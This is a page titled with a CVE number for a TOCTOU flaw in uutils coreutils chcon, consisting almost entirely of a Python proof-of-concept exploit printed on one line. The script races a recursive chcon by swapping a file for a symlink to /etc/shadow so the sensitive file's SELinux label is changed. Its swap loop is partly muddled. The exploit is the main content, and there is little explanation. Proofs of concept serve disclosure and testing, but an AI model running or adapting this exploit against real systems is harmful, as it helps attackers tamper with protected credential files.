CVE-2026-35376 uutils coreutils chcon TOCTOU漏洞

import os import subprocess import threading import time # PoC for CVE-2026-35376: TOCTOU in uutils chcon # This script attempts to race the chcon utility by swapping a file # with a symlink to a sensitive target during recursive traversal. TARGET_DIR = "test_chcon_dir" SAFE_FILE = "safe.txt" SYMLINK_TARGET = "/etc/shadow" # Sensitive file to relabel TEMP_FILE = "temp_exchange" def setup(): """Create the directory structure for testing.""" if not os.path.exists(TARGET_DIR): os.makedirs(TARGET_DIR) with open(os.path.join(TARGET_DIR, SAFE_FILE), 'w') as f: f.write("innocent data") def race_exploit(): """Continuously swap the file to hit the TOCTOU window.""" print("[+] Starting race thread...") while True: try: # Rename the safe file out of the way os.rename(os.path.join(TARGET_DIR, SAFE_FILE), os.path.join(TARGET_DIR, TEMP_FILE)) # Place a symlink to the sensitive target os.symlink(SYMLINK_TARGET, os.path.join(TARGET_DIR, SAFE_FILE)) # Quickly swap back (or rotate) to maintain plausible structure os.rename(os.path.join(TARGET_DIR, SAFE_FILE), os.path.join(TARGET_DIR, TEMP_FILE)) os.rename(os.path.join(TARGET_DIR, TEMP_FILE), os.path.join(TARGET_DIR, SAFE_FILE)) except Exception as e: pass def trigger_vulnerability(): """Simulate the privileged chcon recursive operation.""" print("[+] Triggering chcon recursive operation...") # Note: This requires a context where chcon is actually running # and SELinux is enforcing. This is a simulation of the command. cmd = ["chcon", "-R", "-t", "etc_t", TARGET_DIR] # In a real scenario, this might be called by a cron job or script try: subprocess.run(cmd, check=True) except FileNotFoundError: print("chcon command not found, skipping execution.") except subprocess.CalledProcessError: print("chcon failed, expected if not root or SELinux disabled.") if __name__ == "__main__": setup() # Start the race condition thread attacker_thread = threading.Thread(target=race_exploit) attacker_thread.daemon = True attacker_thread.start() # Give the thread a moment to start time.sleep(0.1) # Trigger the vulnerable command trigger_vulnerability() print("[+] Exploit attempt finished.") print("[!] Check if /etc/shadow label has been modified.")